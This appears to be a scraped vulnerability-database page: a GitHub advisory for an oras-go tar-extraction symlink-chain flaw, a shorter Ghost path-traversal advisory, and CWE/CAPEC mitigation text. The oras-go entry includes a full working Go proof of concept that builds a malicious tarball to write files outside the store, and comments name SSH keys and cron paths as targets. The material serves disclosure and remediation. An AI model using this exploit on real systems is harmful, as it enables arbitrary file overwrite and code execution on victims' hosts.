[!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED
[!] relative to workDir: ../oras-PWNED
[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir
Impact
Who is affected: Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a content/file.Store — e.g. oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts), the documented primary use of the file store — with default settings (AllowPathTraversalOnWrite=false, SkipUnpack=false). Downstream consumers include the ORAS CLI (oras pull to a directory) and tools built on oras-go that materialise artifact contents on disk.
What the attacker gains: Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting ~/.ssh/authorized_keys, ~/.bashrc/~/.profile, Git hooks, or (when running as root, e.g. in CI or a controller) /etc/cron.d/* or binaries on $PATH — i.e. remote code execution on the victim host.
Preconditions / reachability: No local preconditions beyond pulling an attacker-controlled artifact; the attacker does not need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (UI:R).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.1"
},
"package": {
"ecosystem": "Go",
"name": "oras.land/oras-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85731"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:15:57Z",
"nvd_published_at": "2026-09-16T17:18:15Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store\u0027s working directory under the default `AllowPathTraversalOnWrite=false` configuration \u2014 a canonical tar-slip \u2192 RCE primitive.\n\n### Details\n**Affected versions:** `\u003c= v2.6.1`\n\n**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` \u2014 reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: \"true\"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.\n\n**Root cause 1 \u2014 lexical link validation.** `content/file/utils.go` lines 264\u2013275, `ensureLinkPath`:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n // resolve link\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target)\n }\n // ensure path is under baseAbs or baseRel\n if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", err\n }\n return target, nil\n}\n```\n\n`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.\n\n**Root cause 2 \u2014 parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247\u2013257, inside `resolveRelToBase`:\n\n```go\n// No symbolic link allowed in the relative path\ndir := filepath.Dir(path)\nfor dir != \".\" {\n if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {\n ...\n } else if info.Mode()\u0026os.ModeSymlink != 0 {\n return \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", baseRel, target)\n }\n dir = filepath.Dir(dir)\n}\n```\n\nFor an entry named `\u003ctitle\u003e/escape`, `path == \"escape\"` and `filepath.Dir(\"escape\") == \".\"`, so the loop body never executes \u2014 the entry itself is never `Lstat`-checked.\n\n**Root cause 3 \u2014 write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:\n\n```go\nfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n```\n\nNo `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.\n\n**Data flow / exploit construction.** Let `baseAbs = \u003cworkingDir\u003e/\u003ctitle\u003e` and `N = depth(baseAbs)` (number of path components from `/`). The attacker\u0027s tar.gz contains, in order:\n\n1. `N` nested directories `\u003ctitle\u003e/d0/d1/\u2026/d{N-1}`.\n2. A symlink `\u003ctitle\u003e/d0/\u2026/d{N-1}/up` \u2192 `\"../../\u2026\"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.\n3. A symlink `\u003ctitle\u003e/escape` \u2192 `\"d0/\u2026/d{N-1}/up/../../\u2026/\u003cabsTarget\u003e\"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, \"d0/\u2026/up/../\u2026/\u003cabsTarget\u003e\")` cancels the `N` `..` against `up` plus `d{N-2}\u2026d0`, yielding `baseAbs/d0/\u003cabsTarget\u003e` \u2014 inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/\u003cabsTarget-parents\u003e`, none of which are symlinks (they don\u0027t exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/\u2026/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `\u003cabsTarget\u003e` is appended \u2014 the symlink points at the attacker-chosen absolute path.\n4. A regular file `\u003ctitle\u003e/escape` (same name). `resolveRelToBase(\"escape\")` yields `dir == \".\"` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker\u0027s payload through the symlink to `\u003cabsTarget\u003e`.\n\n**Why v2.6.1\u0027s `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` \u2192 `extractTarGzip` \u2192 `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.\n\n**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.\n\n### PoC\n```\ngo mod init poc\ngo get oras.land/oras-go/v2@v2.6.1\ngo run .\n```\n\n```go\n// Arbitrary file write outside a default-configured file.Store via\n// symlink-chain bypass in content/file.extractTarDirectory.\n//\n// ensureLinkPath() validates symlink targets purely lexically with\n// filepath.Join, which collapses \"..\" textually and does not follow\n// intermediate symlink components. By first planting a deep \"up\" symlink\n// that legitimately resolves to the extraction root, an \"escape\" symlink\n// can be crafted whose lexical target stays in-bounds but whose\n// kernel-resolved target is any absolute path. A follow-up TypeReg entry\n// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),\n// writing through the symlink.\n//\n// Realistic trigger: oras.Copy() from an untrusted registry into a\n// file.New() store. The attacker controls the manifest (sets\n// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.\n// All digests are honest, so content verification passes.\npackage main\n\nimport (\n \"archive/tar\"\n \"bytes\"\n \"compress/gzip\"\n \"context\"\n _ \"crypto/sha256\"\n \"fmt\"\n \"os\"\n \"path/filepath\"\n \"strings\"\n\n \"github.com/opencontainers/go-digest\"\n ocispec \"github.com/opencontainers/image-spec/specs-go/v1\"\n \"oras.land/oras-go/v2/content/file\"\n)\n\nfunc main() {\n if err := run(); err != nil {\n fmt.Println(\"ERROR:\", err)\n os.Exit(1)\n }\n}\n\nfunc run() error {\n ctx := context.Background()\n\n // Victim\u0027s working directory for the file store.\n workDir, err := os.MkdirTemp(\"\", \"oras-victim-*\")\n if err != nil {\n return err\n }\n defer os.RemoveAll(workDir)\n fmt.Println(\"[*] file.Store working dir:\", workDir)\n\n // Target path the attacker wants to write, OUTSIDE workDir.\n // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;\n // a temp path keeps the demo self-contained.)\n outsidePath := filepath.Join(os.TempDir(), \"oras-PWNED\")\n _ = os.Remove(outsidePath)\n defer os.Remove(outsidePath)\n fmt.Println(\"[*] attacker target (outside workDir):\", outsidePath)\n\n // The layer\u0027s AnnotationTitle. extractTarDirectory uses this as both the\n // in-tar prefix and the on-disk subdir under workDir.\n const title = \"out\"\n baseAbs := filepath.Join(workDir, title)\n\n // N nested dirs + a symlink \"up\" -\u003e N*\"../\" so that after the kernel\n // follows \"up\" (landing at baseAbs) the remaining N lexical \"..\"\n // components climb from baseAbs to \"/\". N must be \u003e= depth(baseAbs).\n depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), \"/\"), \"/\"))\n fmt.Printf(\"[*] baseAbs depth = %d, building %d nested dirs\\n\", depth, depth)\n\n gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)\n if err != nil {\n return err\n }\n\n // Descriptor exactly as it would appear in a manifest\u0027s \"layers\" array.\n desc := ocispec.Descriptor{\n MediaType: \"application/vnd.oci.image.layer.v1.tar+gzip\",\n Digest: dgst,\n Size: size,\n Annotations: map[string]string{\n ocispec.AnnotationTitle: title,\n file.AnnotationUnpack: \"true\",\n },\n }\n\n // Victim creates a file store with default settings (path traversal DISALLOWED).\n store, err := file.New(workDir)\n if err != nil {\n return err\n }\n defer store.Close()\n fmt.Println(\"[*] store.AllowPathTraversalOnWrite =\", store.AllowPathTraversalOnWrite)\n\n // This is exactly what oras.Copy() invokes per layer.\n if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {\n return fmt.Errorf(\"Push: %w\", err)\n }\n\n // Check whether the out-of-tree file was written.\n if data, err := os.ReadFile(outsidePath); err == nil {\n rel, _ := filepath.Rel(workDir, outsidePath)\n fmt.Printf(\"\\n[!] BYPASS: wrote %q to %s\\n\", string(data), outsidePath)\n fmt.Printf(\"[!] relative to workDir: %s\\n\", rel)\n fmt.Println(\"[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\")\n return nil\n }\n fmt.Println(\"\\n[-] no escape (file not created at\", outsidePath, \")\")\n return nil\n}\n\n// buildMaliciousLayer builds a tar.gz that, when extracted by\n// content/file.extractTarDirectory under \u003cworkDir\u003e/\u003ctitle\u003e, writes to outsidePath.\nfunc buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {\n var buf bytes.Buffer\n gzw := gzip.NewWriter(\u0026buf)\n tw := tar.NewWriter(gzw)\n\n // 1. Nested directories: title/d0/d1/.../d{depth-1}\n dirs := make([]string, depth)\n for i := 0; i \u003c depth; i++ {\n dirs[i] = fmt.Sprintf(\"d%d\", i)\n }\n for i := 1; i \u003c= depth; i++ {\n name := title + \"/\" + strings.Join(dirs[:i], \"/\")\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {\n return nil, \"\", 0, err\n }\n }\n\n // 2. \"up\" symlink at the bottom, pointing back to baseAbs via depth*\"../\".\n // Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.\n upName := title + \"/\" + strings.Join(dirs, \"/\") + \"/up\"\n upTarget := strings.Repeat(\"../\", depth-1) + \"..\"\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {\n return nil, \"\", 0, err\n }\n\n // 3. \"escape\" symlink at title/escape.\n // Target = d0/.../d{N-1}/up/../.. (N times) /\u003coutsidePath\u003e\n // LEXICAL clean: the N \"..\" cancel \"up\" + (N-1) dirs, leaving\n // d0/\u003coutsidePath\u003e - INSIDE baseAbs, so ensureLinkPath accepts it.\n // KERNEL: d0/.../up follows the symlink to baseAbs, then N*\"..\"\n // climbs to \"/\", then appends outsidePath.\n dots := strings.Repeat(\"../\", depth-1) + \"..\"\n escapeTarget := strings.Join(dirs, \"/\") + \"/up/\" + dots + outsidePath\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: title + \"/escape\", Linkname: escapeTarget, Mode: 0o777}); err != nil {\n return nil, \"\", 0, err\n }\n\n // 4. Regular file entry at title/escape - same path as the symlink.\n // resolveRelToBase(\"escape\") has dir==\".\" so the per-component Lstat\n // loop never runs; writeFile opens with O_CREATE|O_TRUNC (no\n // O_NOFOLLOW) and writes through the symlink to outsidePath.\n payload := []byte(\"PWNED-BY-ORAS-TARSLIP\")\n if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeReg, Name: title + \"/escape\", Mode: 0o644, Size: int64(len(payload))}); err != nil {\n return nil, \"\", 0, err\n }\n if _, err := tw.Write(payload); err != nil {\n return nil, \"\", 0, err\n }\n\n if err := tw.Close(); err != nil {\n return nil, \"\", 0, err\n }\n if err := gzw.Close(); err != nil {\n return nil, \"\", 0, err\n }\n\n data := buf.Bytes()\n return data, digest.FromBytes(data), int64(len(data)), nil\n}\n```\n\nExpected output (paths vary):\n\n```\n[*] file.Store working dir: /tmp/oras-victim-209731351\n[*] attacker target (outside workDir): /tmp/oras-PWNED\n[*] baseAbs depth = 3, building 3 nested dirs\n[*] store.AllowPathTraversalOnWrite = false\n\n[!] BYPASS: wrote \"PWNED-BY-ORAS-TARSLIP\" to /tmp/oras-PWNED\n[!] relative to workDir: ../oras-PWNED\n[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\n```\n\n### Impact\n**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` \u2014 e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store \u2014 with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.\n\n**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` \u2014 i.e. remote code execution on the victim host.\n\n**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim\u0027s working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).",
"id": "GHSA-m37j-52j7-pjw7",
"modified": "2026-09-17T17:15:57Z",
"published": "2026-09-17T17:15:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-m37j-52j7-pjw7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85731"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/commit/adab2f25ea95ef4e6e41f50db9266a6701399422"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-go"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)"
}
GHSA-M382-6JW4-FMP6
Vulnerability from github – Published: 2026-10-07 20:26 – Updated: 2026-10-07 20:26Impact
A vulnerability in how Ghost loads theme translation files allowed an authenticated Administrator to read JSON files outside of the active theme's directory, potentially exposing server configuration secrets.
Vulnerable versions
This vulnerability is present in Ghost from v1.20.0 up to v6.64.0.
Patches
v6.64.0 contains a fix for this issue.
How to update
For self-hosters using Docker, find Docker's official Ghost image here. Updating a Docker-based Ghost instance is documented here.
If your Ghost is a Ghost-CLI install see our documentation on updating it to the latest version here.
References
Ghost thanks Miguel Segovia Gil of KPMG and Nguyễn Quốc Đồng for disclosing this vulnerability responsibly.
For more information
If you have any questions or comments about this advisory, email us at security@ghost.org.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ghost"
},
"ranges": [
{
"events": [
{
"introduced": "1.20.0"
},
{
"fixed": "6.64.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-105676"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:26:14Z",
"nvd_published_at": "2026-10-05T20:17:14Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA vulnerability in how Ghost loads theme translation files allowed an authenticated Administrator to read JSON files outside of the active theme\u0027s directory, potentially exposing server configuration secrets.\n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost from v1.20.0 up to v6.64.0.\n\n### Patches\n\nv6.64.0 contains a fix for this issue.\n\n### How to update\n\nFor self-hosters using Docker, find [Docker\u0027s official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost).\n\nIf your Ghost is a Ghost-CLI install see our documentation on [updating it to the latest version here](https://docs.ghost.org/update).\n\n### References\n\nGhost thanks Miguel Segovia Gil of KPMG and [Nguy\u1ec5n Qu\u1ed1c \u0110\u1ed3ng](https://github.com/DONG2209) for disclosing this vulnerability responsibly.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at [security@ghost.org](mailto:security@ghost.org).",
"id": "GHSA-m382-6jw4-fmp6",
"modified": "2026-10-07T20:26:14Z",
"published": "2026-10-07T20:26:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-m382-6jw4-fmp6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105676"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/issues/30635"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/pull/30635"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/commit/d2f498694be549074dd5817fd0e8a1371b65df02"
},
{
"type": "PACKAGE",
"url": "https://github.com/TryGhost/Ghost"
},
{
"type": "WEB",
"url": "https://github.com/TryGhost/Ghost/releases/tag/v6.64.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Ghost: Path Traversal via Locale Setting"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.